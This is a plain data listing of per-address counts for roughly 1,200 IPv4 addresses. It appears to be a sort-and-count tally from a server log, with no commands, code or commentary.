     10 104.244.94.223
     11 104.236.67.121
     20 104.236.253.20
      9 104.131.157.71
     86 103.97.177.132
     30 103.94.111.254
     34 103.90.227.194
     69 103.87.207.254
     20 103.86.198.162
     88 103.79.152.202
     23 103.77.240.250
     48 103.67.198.122
     34 103.57.210.199
     15 103.42.218.118
     11 103.40.253.135
     14 103.31.225.225
     45 103.31.224.224
     90 103.30.201.237
     34 103.255.216.43
     25 103.254.71.234
     15 103.249.84.155
    113 103.246.240.28
     32 103.231.59.155
     17 103.221.76.125
     36 103.200.20.144
     71 103.199.209.57
     15 103.197.206.97
     24 103.189.234.25
      6 103.175.30.230
     14 103.172.204.80
     20 103.169.91.220
     18 103.169.91.211
      6 103.169.91.200
     15 103.167.88.219
     13 103.165.130.61
     34 103.16.202.187
     34 103.160.37.139
     16 103.159.133.95
     16 103.148.29.248
     49 103.146.50.194
     14 103.146.141.76
     17 103.144.87.192
     17 103.143.72.227
     34 103.143.72.165
     88 103.143.248.87
     35 103.142.87.177
     47 103.139.58.173
      4 103.130.215.82
      8 103.123.63.180
     16 103.118.43.109
     62 103.118.28.187
     34 103.117.92.250
    128 103.110.25.208
     18 103.105.78.231
     15 103.100.208.53
     17 102.220.23.104
     41 101.91.242.210
     10 101.91.225.182
     30 101.89.215.129
     13 101.89.148.228
      9 101.89.113.198
     99 101.43.241.207
     20 101.43.234.114
     33 101.43.185.237
      5 101.43.160.129
      6 101.43.148.206
     12 101.43.125.204
     22 101.43.122.203
     14 101.42.248.218
     94 101.42.239.122
      9 101.42.223.106
     41 101.36.231.233
      8 101.36.108.160
     14 101.35.252.142
      2 101.35.168.108
      8 101.34.250.251
     15 101.32.141.245
      3 101.32.128.185
     44 101.32.127.191
     85 101.32.116.159
     12 101.32.115.195
     23 101.200.194.70
      9 101.132.42.220
     27 101.126.70.240
      8 101.126.70.112
     19 101.126.69.203
      4 101.126.67.168
     21 101.126.65.210
     14 96.44.153.158
      3 95.90.242.212
      4 95.181.43.122
     12 95.173.191.84
     14 94.241.172.31
     14 94.23.162.147
     32 93.185.73.178
    108 93.113.63.124
     16 93.113.233.59
     14 92.27.157.252
     12 92.114.19.110
     54 91.103.253.18
     23 90.168.201.25
     14 89.185.85.151
     43 89.185.85.104
      7 89.183.220.74
     13 87.255.193.50
     30 87.251.102.94
    103 86.104.40.254
     16 86.104.39.252
     21 85.198.17.249
     18 85.198.17.190
     11 85.198.15.252
     34 85.18.236.229
     13 85.114.76.206
     12 85.111.16.189
     34 84.39.252.141
     63 84.247.167.49
     32 83.229.85.234
     49 82.223.67.239
     13 82.223.46.174
     15 8.222.250.117
     48 8.222.193.108
     10 8.222.157.166
     51 8.222.141.245
     30 8.222.140.252
     10 82.200.65.218
     49 8.219.117.148
     99 8.218.114.221
    103 82.157.210.34
     10 82.156.30.225
     95 82.115.20.216
     14 82.102.12.130
     13 8.142.171.147
     95 8.141.151.124
     97 81.145.49.186
     72 80.71.149.145
     12 80.253.31.232
     26 80.249.113.79
     14 79.175.189.34
     10 79.133.51.211
     46 78.187.21.105
     16 78.135.88.211
      4 78.108.188.12
     56 77.87.122.176
     11 77.68.117.176
     30 77.158.178.46
      8 77.105.167.57
     22 77.105.147.54
     17 74.94.234.151
     15 74.208.62.138
     16 73.49.216.121
      5 72.43.159.250
     44 72.167.32.109
     17 69.49.247.238
     10 69.49.246.187
     11 69.165.78.217
     32 69.165.78.164
     30 68.183.68.187
     16 68.183.237.40
     47 68.183.108.31
     16 68.178.200.48
     75 67.207.94.128
     17 67.205.188.21
     81 65.181.73.155
    117 64.226.94.253
     16 64.226.70.129
      4 62.84.126.112
      5 62.84.122.203
      5 62.234.190.70
     20 61.83.148.111
      3 61.185.15.102
     66 59.95.147.234
     97 59.89.169.138
     23 59.103.236.31
     13 58.97.168.220
     29 58.221.239.72
     20 58.210.98.130
     39 58.209.234.84
     34 54.38.243.250
     34 5.253.244.171
     22 52.146.46.188
     20 5.196.114.220
      4 51.91.186.145
     32 51.89.254.170
     16 51.89.149.153
      4 51.79.250.103
     20 51.77.245.237
     42 51.75.206.129
     12 51.68.126.207
     20 5.157.107.240
     12 51.250.94.177
      7 51.250.47.221
     11 51.178.30.100
     11 51.178.143.50
     20 51.161.153.48
     11 51.159.29.123
     40 50.193.220.21
     15 50.114.64.139
     16 49.51.253.177
     19 49.51.252.120
     34 49.51.230.169
     71 49.51.204.106
     20 49.51.196.102
     32 49.51.187.234
     84 49.51.173.123
     32 49.51.168.185
     34 49.51.164.159
     15 49.247.146.74
     10 49.234.177.73
     15 49.232.180.61
     21 49.158.80.130
     18 47.96.167.251
     37 47.93.243.133
     17 47.242.112.41
     11 47.208.79.133
     12 47.120.33.103
     22 47.116.195.99
      8 47.115.227.66
      9 47.109.57.220
     99 47.103.61.209
     10 47.100.36.225
      8 46.105.92.118
      6 45.67.216.151
     12 45.55.131.143
     54 45.249.111.40
     22 45.20.209.253
    100 45.195.198.85
     10 45.192.177.18
     32 45.192.176.21
      8 45.186.208.46
     17 45.180.136.12
      9 45.176.31.117
     10 45.158.14.145
      8 45.154.89.255
      3 45.154.89.253
      4 45.154.89.252
      1 45.154.89.251
      4 45.154.89.250
      5 45.154.89.246
      7 45.154.89.245
     65 45.142.122.44
     46 45.129.37.236
     33 45.128.204.50
      3 45.127.45.117
     16 45.119.81.249
     31 45.118.145.15
     21 43.241.132.10
     17 43.163.244.31
     13 43.163.243.57
     28 43.163.239.90
     58 43.163.239.82
     37 43.163.239.63
     17 43.163.238.70
     10 43.163.238.62
     20 43.163.237.70
     12 43.163.237.11
     18 43.163.234.47
     21 43.163.233.97
     14 43.163.232.30
     11 43.163.231.91
    107 43.163.230.39
     49 43.163.226.92
     34 43.163.226.88
     16 43.163.222.85
     12 43.163.222.63
     30 43.163.221.25
     11 43.163.215.62
     17 43.163.214.35
     60 43.163.211.93
     15 43.163.211.92
      4 43.163.210.67
     39 43.163.210.57
     17 43.163.208.88
      8 43.163.207.28
     35 43.163.200.19
     33 43.163.199.47
     14 43.163.199.17
     32 43.163.197.63
     30 43.163.195.17
      6 43.159.59.118
     32 43.159.56.191
     34 43.159.52.218
     33 43.159.45.214
     31 43.159.44.223
     11 43.159.36.244
     28 43.159.35.254
     22 43.159.135.77
     14 43.159.133.19
     12 43.159.132.25
     19 43.159.129.59
     34 43.157.90.148
     38 43.157.89.140
     32 43.157.88.116
     21 43.157.80.160
     14 43.157.80.120
     20 43.157.79.252
     20 43.157.79.115
     12 43.157.65.207
     32 43.157.65.101
     18 43.157.59.126
     34 43.157.45.202
     88 43.157.44.160
     16 43.157.42.226
    123 43.157.34.218
     34 43.157.29.254
      5 43.157.20.124
     19 43.157.182.25
     32 43.157.18.191
     35 43.157.10.233
     19 43.157.10.157
     32 43.156.84.147
     35 43.156.83.142
     12 43.156.77.105
     23 43.156.70.152
     54 43.156.69.230
     15 43.156.64.128
     17 43.156.51.227
     53 43.156.51.170
     14 43.156.51.149
     58 43.156.46.179
     17 43.156.45.171
     12 43.156.44.180
     52 43.156.44.115
     30 43.156.43.110
     16 43.156.40.178
      9 43.156.39.228
     21 43.156.39.163
     42 43.156.37.160
     34 43.156.36.219
     44 43.156.33.183
     33 43.156.29.148
     30 43.156.27.150
     17 43.156.250.46
     15 43.156.236.44
     10 43.156.22.213
     12 43.156.19.225
     17 43.156.18.206
     34 43.156.170.69
     13 43.156.164.76
     12 43.156.15.193
     17 43.156.14.158
     13 43.156.13.252
     40 43.156.128.13
     13 43.156.127.43
      8 43.156.122.96
     20 43.156.112.26
     12 43.156.11.155
     74 43.156.101.55
     69 43.155.186.56
     85 43.155.179.36
     31 43.155.171.97
     16 43.155.171.85
    104 43.155.160.46
     28 43.155.159.72
      8 43.155.157.82
     31 43.155.155.43
     10 43.155.147.95
     34 43.155.140.28
     34 43.155.138.12
     16 43.154.96.206
     33 43.154.235.92
     30 43.154.190.47
      2 43.154.170.91
     14 43.153.97.143
     30 43.153.96.249
     13 43.153.95.245
     14 43.153.94.208
     34 43.153.88.185
     32 43.153.86.122
     32 43.153.83.135
      8 43.153.82.175
     14 43.153.77.112
     35 43.153.76.170
     31 43.153.69.156
     17 43.153.65.178
     34 43.153.60.195
     16 43.153.59.228
     27 43.153.57.236
     30 43.153.56.142
      5 43.153.54.175
     23 43.153.53.223
     11 43.153.53.166
     33 43.153.51.250
     11 43.153.48.160
     15 43.153.37.125
      4 43.153.35.217
      6 43.153.229.95
     32 43.153.226.61
      7 43.153.22.117
     97 43.153.219.74
      9 43.153.213.70
     16 43.153.207.95
     17 43.153.199.39
    110 43.153.192.26
     17 43.153.19.215
     15 43.153.189.29
    121 43.153.184.97
     16 43.153.183.77
     43 43.153.179.38
     17 43.153.178.59
     34 43.153.178.48
     30 43.153.177.52
     21 43.153.173.89
     72 43.153.173.17
     17 43.153.17.163
     12 43.153.17.152
     16 43.153.170.99
     20 43.153.14.111
     15 43.153.113.25
     14 43.153.11.127
     34 43.153.103.74
     12 43.143.176.10
      9 43.139.67.191
     15 43.139.58.211
     11 43.138.54.218
      6 43.138.31.228
     14 43.138.205.95
      6 43.138.16.187
     88 43.138.109.80
     10 43.137.18.165
     32 43.136.240.76
     13 43.136.118.68
      7 43.136.100.65
     33 43.135.48.212
     40 43.135.182.15
     17 43.135.178.53
     16 43.135.164.42
     16 43.135.163.21
      9 43.135.162.50
     19 43.135.140.48
     30 43.134.98.122
     30 43.134.97.219
     19 43.134.96.232
     59 43.134.95.210
     47 43.134.94.187
     20 43.134.92.252
     15 43.134.90.124
     48 43.134.89.177
     32 43.134.87.144
     14 43.134.77.142
     10 43.134.72.174
     13 43.134.70.160
     34 43.134.70.144
     63 43.134.70.129
     21 43.134.69.207
     30 43.134.68.235
     19 43.134.66.105
     21 43.134.64.102
     18 43.134.63.221
     34 43.134.61.120
      9 43.134.59.194
     73 43.134.55.199
     57 43.134.53.167
     25 43.134.51.181
     34 43.134.48.214
     19 43.134.46.239
    115 43.134.46.154
     14 43.134.41.100
     55 43.134.39.125
     11 43.134.35.239
     34 43.134.33.118
      1 43.134.29.154
     49 43.134.27.220
     14 43.134.27.153
    107 43.134.25.193
     29 43.134.25.150
     57 43.134.232.46
     19 43.134.226.37
     32 43.134.226.21
     87 43.134.189.26
     12 43.134.187.32
     15 43.134.187.12
     58 43.134.186.38
     18 43.134.184.64
     16 43.134.181.43
     18 43.134.178.78
      2 43.134.167.81
     18 43.134.164.71
     91 43.134.15.218
     34 43.134.15.205
      4 43.134.15.133
      5 43.134.15.112
     36 43.134.132.58
     18 43.134.116.96
     34 43.134.110.31
     68 43.134.105.60
      7 43.134.105.17
     28 43.134.105.15
     11 43.134.104.29
      3 43.134.103.17
     17 43.134.102.98
     12 43.134.100.15
     34 43.133.77.248
      9 43.133.76.228
     50 43.133.75.153
      9 43.133.74.235
      9 43.133.72.133
     17 43.133.72.107
      6 43.133.71.139
    119 43.133.70.124
     14 43.133.68.162
     17 43.133.63.131
     32 43.133.42.162
     52 43.133.39.252
     19 43.133.38.170
      6 43.133.35.141
      9 43.133.34.105
     30 43.133.32.119
     34 43.133.254.39
     15 43.133.242.54
     16 43.133.237.69
     49 43.133.232.30
     11 43.133.22.168
     32 43.133.212.82
      5 43.133.211.94
      4 43.133.186.22
     12 43.133.141.22
     19 43.131.54.174
     20 43.131.46.101
     29 43.131.36.184
     14 43.131.35.115
     11 43.131.32.118
     17 43.131.30.179
     32 43.131.28.209
     50 43.131.254.59
     32 43.131.235.43
     10 43.131.22.216
     14 43.131.14.217
     22 43.131.13.102
     34 43.130.62.221
     30 43.130.61.116
     25 43.130.53.144
     33 43.130.253.72
     52 43.130.245.71
     44 43.130.16.190
    108 43.129.50.235
     30 43.128.94.198
     49 43.128.88.244
     14 43.128.88.156
     18 43.128.88.129
     33 43.128.79.100
     56 43.128.75.168
      9 43.128.73.126
     15 43.128.72.250
     17 43.128.72.119
     45 43.128.156.63
     23 43.128.131.16
    100 43.128.109.21
     54 43.128.108.38
     12 43.128.105.47
     22 43.128.102.58
     30 43.128.101.97
     29 42.236.120.12
     44 42.200.245.36
      7 42.192.72.115
     15 42.123.126.60
     16 41.191.116.18
     17 41.175.18.170
     16 40.83.182.122
     33 39.99.148.161
     16 39.109.117.37
     19 39.105.47.140
     21 39.104.70.153
     16 37.59.146.182
    108 37.194.206.12
     32 36.92.104.229
     70 36.138.114.20
     12 36.134.134.34
     47 35.244.20.156
     59 35.229.64.102
     30 35.226.126.79
     20 35.223.246.35
     31 35.207.98.222
      8 35.200.165.26
     48 35.194.159.73
     17 34.92.149.182
     32 34.176.48.134
      4 34.142.156.17
     94 34.131.24.172
     12 31.210.220.97
     59 31.14.115.193
     28 27.155.79.158
     21 27.154.63.190
     47 23.94.169.133
      7 23.94.143.132
     14 23.94.136.173
    105 220.89.64.174
     30 219.92.11.146
     14 219.152.54.40
     19 218.77.35.197
     10 218.153.58.33
     33 213.55.93.152
     16 212.64.16.191
     10 212.60.21.153
     32 212.42.97.108
     72 211.20.10.199
      8 211.137.70.59
     18 210.183.21.48
     51 210.164.66.50
     53 209.97.186.17
     14 209.97.179.25
     12 209.38.232.83
     89 209.14.71.149
      2 209.141.59.39
     63 209.141.55.77
     75 208.109.38.20
     20 208.109.37.82
    103 20.71.215.181
     10 203.194.55.13
     10 203.161.59.79
     30 203.161.59.55
     15 202.83.17.192
     34 202.73.99.196
     19 202.53.175.36
     14 202.51.214.98
     15 202.133.89.50
     14 20.198.89.167
     18 20.169.248.82
     13 201.6.254.225
     16 201.24.54.213
     14 200.60.12.163
     17 200.41.150.34
     50 200.40.83.186
      9 200.137.2.116
     14 198.46.210.89
      6 198.46.152.29
     33 198.12.92.218
     10 198.12.71.236
     48 198.12.65.156
     30 197.5.145.102
     30 197.248.56.39
     30 197.231.64.64
     12 197.227.8.186
      9 197.13.31.232
     33 196.29.34.170
     13 195.87.80.171
     34 195.24.56.135
     11 195.19.192.34
     50 195.178.191.4
    197 194.93.25.253
     12 194.93.25.245
     12 194.156.67.89
     13 193.248.45.12
      3 193.123.80.55
     15 193.107.48.18
      4 192.99.247.77
     15 192.3.176.170
     48 191.98.191.87
     50 191.252.111.5
     16 191.177.132.4
     19 190.85.15.251
     32 190.158.9.124
     54 190.128.241.2
     32 190.12.102.58
     28 190.104.3.139
     10 189.190.89.23
     44 189.11.142.29
    146 188.166.47.99
     14 188.166.211.7
     54 188.121.99.65
     94 187.62.88.136
     97 187.33.59.176
     34 186.64.121.69
     30 186.4.206.197
     25 186.31.95.163
     19 186.28.32.220
     15 186.16.41.158
     11 186.13.38.139
     32 185.78.26.235
     10 185.63.113.57
     29 185.39.205.34
     30 185.29.121.63
     14 185.255.90.49
     27 185.196.9.160
     12 185.191.79.84
     16 185.184.223.3
     19 185.17.229.65
     17 185.100.53.96
     16 183.91.186.93
     34 182.72.142.62
      4 182.61.45.113
     79 182.61.37.217
     34 182.52.21.251
    101 182.44.26.149
     30 182.16.245.85
     20 181.94.248.33
     34 181.171.38.85
     20 180.76.202.69
     32 180.76.139.58
     28 179.32.33.160
     12 178.40.121.19
     18 178.39.208.10
     30 178.253.43.80
     14 178.166.6.153
     29 178.128.17.50
     23 177.73.184.89
     29 177.153.69.10
     13 175.207.13.86
      8 175.203.61.33
    119 175.197.77.53
      7 175.178.101.2
     16 174.138.54.13
      6 173.249.10.24
    126 172.245.92.68
     21 171.244.57.45
     20 171.244.37.96
     15 171.244.37.93
    119 170.78.24.134
     14 170.106.84.72
      3 170.106.76.62
     52 170.106.65.25
     14 170.106.52.56
     15 170.106.192.5
     21 168.232.79.91
     51 167.71.51.208
     15 167.71.44.206
     34 167.71.229.36
     17 167.71.205.80
     13 167.235.74.81
     92 167.172.57.35
     51 165.22.59.198
     15 165.22.55.227
     16 165.22.48.136
     19 165.22.217.96
     20 165.22.193.26
     14 165.22.16.134
    122 165.22.101.75
     16 165.154.36.71
     15 164.92.225.82
      8 164.92.209.96
     46 164.92.109.62
      9 164.177.31.66
     16 164.163.98.49
     12 162.62.61.159
     19 162.62.57.186
     34 162.62.55.234
     17 162.62.232.71
      9 162.62.222.59
     19 162.62.217.22
     28 162.62.121.22
     15 162.240.65.96
     14 162.19.153.26
     15 161.35.71.130
    117 161.35.30.182
     34 161.35.213.29
     60 161.35.192.95
     10 161.35.174.13
      4 161.35.122.26
     14 160.154.94.42
     27 159.65.91.105
     17 159.65.220.18
      4 159.65.176.56
      4 159.65.145.76
      4 159.223.5.135
     38 159.203.79.94
     16 159.196.168.3
     34 158.51.99.183
      7 157.245.52.79
     89 157.245.46.21
     44 156.59.75.211
     13 156.236.75.85
     47 156.236.74.13
     95 156.236.73.84
     13 156.236.73.61
     70 156.236.70.41
      8 156.232.11.32
     34 156.224.25.68
     28 154.8.178.250
     13 154.26.134.43
     12 154.221.26.21
     30 154.221.19.48
     33 154.211.15.85
     19 154.209.4.193
     11 152.32.249.30
     51 152.32.199.26
      8 152.32.162.18
     63 150.95.64.112
      8 150.95.27.232
     14 150.95.25.178
     34 150.109.93.69
     96 150.109.25.52
     59 150.109.21.98
     56 150.109.12.36
     15 149.56.45.104
     71 147.45.104.27
     12 146.59.127.25
     33 14.63.221.137
     19 146.190.85.49
     14 146.190.24.61
     32 144.48.240.85
     30 14.36.130.250
     34 142.93.229.57
     32 142.93.151.63
     11 142.93.13.232
     30 14.225.204.47
     20 142.171.72.33
     55 14.103.44.165
     21 14.103.41.141
     52 140.206.48.66
     32 139.59.39.160
     28 139.59.25.164
      6 139.59.251.14
      9 139.59.245.64
     18 139.59.226.77
     30 139.59.188.13
     13 139.59.117.68
     34 139.59.10.188
     86 139.224.60.82
    100 139.155.72.97
     25 138.68.227.72
     13 138.68.163.39
     18 138.68.149.40
     77 138.197.28.52
     16 137.184.76.77
     17 137.184.0.163
     18 13.68.156.100
     38 134.209.156.5
     79 134.17.89.151
     34 134.122.42.47
     19 130.0.177.161
      8 129.226.91.47
     15 129.226.81.66
     64 129.226.215.3
     28 129.226.144.4
     32 128.199.71.12
     33 128.199.39.25
     34 128.199.33.46
      5 125.88.210.29
     21 125.34.90.249
     18 125.20.39.107
     15 125.160.11.30
     14 125.160.11.26
     94 124.79.64.137
     36 124.45.40.189
     32 124.28.218.66
     34 124.223.87.69
     19 124.223.77.36
     29 124.223.156.2
     65 124.222.89.71
     21 124.222.89.61
     96 124.222.4.199
     13 124.222.15.56
     10 124.221.76.85
     12 124.221.242.4
     18 124.221.0.129
     18 124.156.2.182
      9 124.156.211.3
     16 124.156.200.8
     30 124.156.198.8
     16 124.107.34.26
     14 123.31.29.192
     33 123.30.249.49
     32 123.253.35.52
     11 123.25.21.101
     10 122.51.89.147
     14 122.51.25.168
     16 122.51.220.44
      7 121.46.20.110
     12 121.40.56.169
     11 121.17.75.174
     33 120.78.89.160
     12 120.77.178.17
     22 120.53.94.178
     14 120.48.98.154
      8 120.48.66.167
      6 120.48.64.183
     12 120.48.44.170
     15 120.48.179.33
     42 120.48.164.59
     68 120.48.162.75
      8 120.35.26.129
     33 119.96.111.55
      4 119.91.150.34
     11 119.40.89.123
     16 119.28.77.167
     73 119.28.158.97
     94 119.28.156.59
     40 119.28.119.81
      9 118.89.58.133
     18 118.45.205.44
     15 118.43.95.157
     17 118.25.18.142
     11 118.24.89.180
     14 118.193.40.60
     14 118.193.35.98
     19 118.193.35.41
    100 118.193.32.61
     21 118.193.16.50
     17 118.107.1.188
     16 117.72.13.136
      3 117.50.179.82
     81 117.50.157.73
     22 117.50.137.84
     14 117.50.119.25
     14 117.4.245.222
     30 117.102.82.13
     34 116.67.215.26
     31 116.236.187.6
     31 116.196.70.16
     30 116.1.149.196
     41 115.249.54.91
      4 115.187.40.33
     53 114.96.71.150
     94 114.216.4.149
      6 113.31.105.94
     29 112.91.126.10
     10 112.74.175.98
    101 1.117.239.152
      9 111.67.201.70
     13 111.67.194.73
      4 1.116.108.203
      6 110.67.139.85
     30 110.40.155.71
      4 109.94.172.86
     13 106.75.108.67
     13 106.58.175.97
      5 106.55.28.146
     16 106.55.197.62
     32 106.53.139.14
     14 106.52.219.95
     10 106.52.142.25
      8 106.52.132.74
    108 106.13.223.14
      8 106.12.48.161
      1 104.28.228.78
      2 104.28.228.77
      1 104.28.196.77
      9 104.250.50.91
     27 104.250.50.63
     12 104.250.50.44
     18 104.250.50.18
     62 104.250.49.72
     13 104.250.34.53
      3 104.250.34.22
     15 104.250.34.19
     16 104.248.58.54
     19 104.215.4.115
     48 104.214.60.77
     12 103.92.24.242
     15 103.82.145.99
     14 103.81.86.208
     11 103.77.173.93
     15 103.77.172.63
     17 103.72.68.138
      8 103.67.79.165
      9 103.65.235.67
      1 103.63.215.82
      1 103.63.215.16
     22 103.63.108.25
      6 103.48.192.48
    106 103.24.179.88
     32 103.235.34.82
     10 103.231.40.36
     21 103.226.50.98
     13 103.225.13.56
     12 103.2.233.237
     11 103.176.20.97
     34 103.171.84.43
     16 103.162.29.83
     20 103.154.63.71
      9 103.143.72.99
     32 103.137.75.74
     22 103.10.47.112
      6 101.91.190.24
     28 101.89.122.34
     92 101.43.67.200
     16 101.43.32.155
      7 101.43.160.57
      9 101.43.12.153
     11 101.42.52.240
     27 101.42.254.78
      5 101.42.226.94
     11 101.42.224.35
      3 101.42.221.51
     93 101.42.166.44
     16 101.42.161.99
      6 101.34.78.223
     10 101.34.16.185
     13 101.33.73.168
     43 101.32.31.213
     33 101.32.240.56
     32 101.32.141.81
     14 101.32.103.80
     18 101.126.69.23
     29 101.126.3.175
      6 97.74.80.116
    113 96.84.198.29
     34 96.78.175.39
     65 96.69.13.140
     95 95.90.93.142
     37 95.156.96.46
     14 91.93.63.184
     25 89.46.223.31
    114 89.40.206.70
     14 89.37.173.89
    101 89.211.218.9
      4 86.57.244.81
     30 85.62.37.186
     11 85.198.8.133
      4 84.42.28.190
     15 84.247.179.0
     16 82.212.74.98
     20 82.207.8.242
      4 82.207.8.194
     45 82.196.3.179
     42 82.196.1.167
     16 8.219.59.194
     94 8.219.249.98
     65 8.219.183.79
     72 8.219.179.36
     33 8.218.89.123
     34 8.217.209.82
     30 8.210.144.58
     17 8.208.76.146
      7 81.70.55.120
     14 81.70.186.78
      8 81.70.168.34
      8 81.69.21.177
     17 81.3.157.110
     18 81.192.46.49
     12 81.192.46.48
     30 81.192.46.38
     23 80.66.75.211
     11 80.66.75.106
     34 78.94.76.242
     34 74.48.63.115
     19 72.83.65.190
     52 72.167.55.58
     41 68.183.17.85
     30 64.23.188.86
     21 64.23.130.10
     64 64.226.78.91
     23 62.60.143.27
     10 61.72.55.130
     27 61.7.240.180
     15 61.4.102.244
     11 60.48.187.82
      8 59.6.139.190
     59 59.42.214.20
     70 59.173.19.44
      8 58.96.87.129
     18 58.49.26.202
     11 58.22.61.221
     19 54.37.73.222
     13 54.37.12.133
     10 52.172.30.44
     19 5.196.22.125
     16 5.196.100.82
     17 51.83.45.112
     32 5.182.83.231
      5 51.79.55.227
     16 51.77.58.143
     32 51.75.39.212
      6 51.75.22.187
     48 51.38.39.235
     66 51.38.112.61
     14 51.254.85.40
     47 51.250.18.92
     60 51.178.47.77
     17 50.206.19.62
     16 50.187.52.54
     11 49.51.50.120
     60 49.51.253.64
     33 49.51.247.39
     18 49.51.203.16
     15 49.13.76.229
     15 47.97.26.145
     11 47.93.49.102
     19 46.245.64.75
     32 46.101.3.129
      4 46.101.23.51
     19 45.9.149.149
     15 45.55.53.166
     12 45.43.59.108
     12 45.249.79.10
      1 45.175.75.60
     11 45.159.208.8
     15 45.15.159.48
      9 45.145.4.186
     20 45.121.48.16
     50 43.228.85.46
     17 43.163.228.2
     15 43.163.211.6
     34 43.163.194.3
     27 43.159.52.31
      9 43.159.51.21
     34 43.159.49.59
      3 43.159.38.60
     18 43.159.36.26
     15 43.159.35.64
     15 43.157.97.60
     47 43.157.94.99
     95 43.157.90.18
     17 43.157.89.22
     25 43.157.7.167
     14 43.157.65.24
     15 43.157.6.144
     15 43.157.55.49
     33 43.157.52.75
     19 43.157.48.47
     16 43.157.39.94
     32 43.157.32.60
      3 43.157.29.75
     13 43.157.29.38
     34 43.157.27.22
     19 43.157.21.15
     15 43.157.16.50
     16 43.157.1.142
     40 43.156.97.98
     27 43.156.83.79
     15 43.156.8.152
     19 43.156.80.15
     32 43.156.62.13
     16 43.156.42.52
     16 43.156.42.38
     21 43.156.37.43
    123 43.156.33.78
     52 43.156.3.149
     22 43.156.28.99
     14 43.156.19.40
     12 43.156.14.20
     17 43.156.1.159
     15 43.156.0.112
     69 43.154.47.21
     15 43.153.96.13
     30 43.153.94.88
     15 43.153.91.23
     18 43.153.90.69
     34 43.153.90.12
     68 43.153.87.16
     11 43.153.8.122
     16 43.153.77.78
     18 43.153.76.36
     33 43.153.75.47
     12 43.153.74.60
     12 43.153.72.68
     34 43.153.72.29
     16 43.153.66.73
     21 43.153.64.49
     30 43.153.63.79
     15 43.153.62.65
      7 43.153.47.81
     34 43.153.37.55
      9 43.153.27.98
     44 43.153.24.65
     22 43.153.2.235
     38 43.153.20.27
     11 43.153.116.2
     15 43.142.4.165
     10 43.139.87.39
     14 43.139.38.20
     11 43.139.211.4
     13 43.137.42.43
     73 43.134.94.87
     14 43.134.82.95
     14 43.134.74.78
    104 43.134.73.13
     33 43.134.72.45
     16 43.134.7.162
     10 43.134.67.44
     33 43.134.60.43
     34 43.134.58.34
      6 43.134.51.31
     20 43.134.49.67
    119 43.134.41.93
     15 43.134.41.36
     19 43.134.41.24
     17 43.134.3.238
     32 43.134.3.225
     43 43.134.32.18
     17 43.134.26.28
     30 43.134.2.164
    108 43.133.81.92
     34 43.133.80.96
     10 43.133.74.95
      3 43.133.74.61
      6 43.133.67.75
     16 43.133.62.48
     30 43.133.58.65
     27 43.133.42.30
     10 43.133.41.19
     34 43.133.32.77
     34 43.133.3.137
     11 43.132.200.4
     87 43.131.9.186
     15 43.131.61.31
     30 43.131.60.40
     13 43.131.56.30
     63 43.131.45.99
     25 43.131.42.60
      4 43.131.4.186
    129 43.131.32.66
      5 43.131.255.3
     17 43.131.2.249
     16 43.131.16.39
     18 43.130.61.37
     19 43.130.42.91
     24 43.130.42.10
     22 43.130.16.82
      3 43.129.68.28
     30 43.128.87.35
     32 43.128.86.28
     12 43.128.84.76
      9 43.128.84.19
     13 42.96.47.162
     12 42.51.33.212
     15 42.51.22.119
     31 42.51.21.126
     17 42.51.21.119
     10 42.192.40.17
     45 4.213.88.220
     79 41.66.220.84
      7 40.64.56.125
     13 39.99.242.64
     20 38.99.139.33
     16 38.188.248.0
     32 37.60.244.16
     41 37.32.30.163
     43 37.32.15.209
     15 37.187.1.241
     10 36.71.207.10
     11 36.67.70.198
     93 36.41.75.226
     24 36.153.0.227
     11 36.133.115.2
     10 35.241.84.62
     18 35.131.2.104
     17 34.96.239.88
      4 34.85.163.94
     10 34.29.120.92
     53 34.131.203.2
     17 31.24.200.23
     15 31.220.87.62
      9 31.209.49.18
     12 2.82.163.214
     22 27.72.62.222
     20 27.72.46.177
     54 27.254.235.4
     28 24.69.190.84
     16 23.94.57.203
     33 23.126.62.36
     15 223.17.0.181
     18 221.214.2.98
     34 221.133.12.6
     16 220.88.1.208
     27 218.78.46.81
     17 212.60.80.58
     36 212.12.31.69
     30 211.51.96.76
     15 211.20.7.217
     34 208.81.201.3
     33 206.81.26.53
     13 206.81.23.41
     25 204.48.20.55
     54 203.172.76.4
     14 202.5.17.125
     74 201.249.57.5
      5 20.123.24.81
     17 200.52.65.20
     14 198.23.149.3
     32 197.5.145.73
     34 197.249.5.16
     21 196.20.68.81
     88 194.5.176.74
     20 193.254.3.18
     56 192.99.59.56
     19 190.181.4.12
     34 190.181.15.3
     11 188.18.49.50
     10 187.72.57.85
     12 187.72.57.83
     35 187.45.100.0
     33 187.170.18.5
     18 186.67.248.8
     43 186.67.248.5
     18 186.16.42.74
     20 185.74.6.243
     16 185.74.5.177
     23 185.26.32.81
     86 185.20.46.33
     14 185.126.6.61
    101 183.56.226.5
     16 182.61.25.91
     15 182.42.68.11
     13 181.210.8.69
      9 180.76.97.63
     20 180.76.97.38
     95 180.76.36.75
     11 179.40.112.6
     32 179.1.85.120
     17 177.91.80.11
     34 177.221.97.5
      8 177.115.11.7
     11 176.109.0.30
     79 175.6.97.174
      9 175.6.20.142
     21 175.178.3.59
     10 168.75.92.86
     15 162.62.52.27
     32 162.62.226.7
     23 162.62.223.9
     15 162.14.98.48
     15 161.35.66.63
     89 161.35.5.255
     14 157.230.87.8
     23 156.0.255.33
     11 1.55.212.112
     51 15.235.162.5
     50 152.32.217.5
     40 152.32.188.4
      8 150.158.37.5
     12 150.109.5.71
     13 14.99.254.18
     17 147.45.71.98
     16 14.63.62.165
      8 14.63.214.22
     12 145.255.5.76
     34 143.92.62.29
      1 143.92.42.65
     96 14.29.99.183
     14 14.225.19.18
     30 14.18.92.211
     19 14.18.101.30
     34 139.95.8.160
     15 139.59.98.42
     14 139.59.41.80
     96 139.59.31.79
      5 139.198.9.32
     30 13.77.146.18
     32 134.17.16.40
     16 129.211.8.58
     10 124.222.36.6
     28 123.57.26.61
     19 121.5.67.173
     36 120.77.35.63
      4 120.48.95.10
     16 120.48.84.73
      9 120.48.83.76
     14 120.48.2.117
     31 120.48.133.5
     21 119.91.27.52
      4 119.76.33.57
     34 118.97.27.98
      5 118.89.91.86
      4 118.69.80.75
     17 117.72.44.30
     75 117.72.36.50
      9 117.72.14.49
      6 117.33.131.6
     38 117.27.88.61
     14 116.196.86.4
     20 115.77.48.83
      6 1.15.242.165
     91 114.6.31.174
     16 111.90.168.2
      1 1.116.62.174
     14 110.13.51.51
     34 110.11.234.8
     12 107.173.10.3
     15 106.55.54.56
     12 106.54.3.193
      7 106.13.7.212
      1 106.13.14.77
     13 105.96.11.65
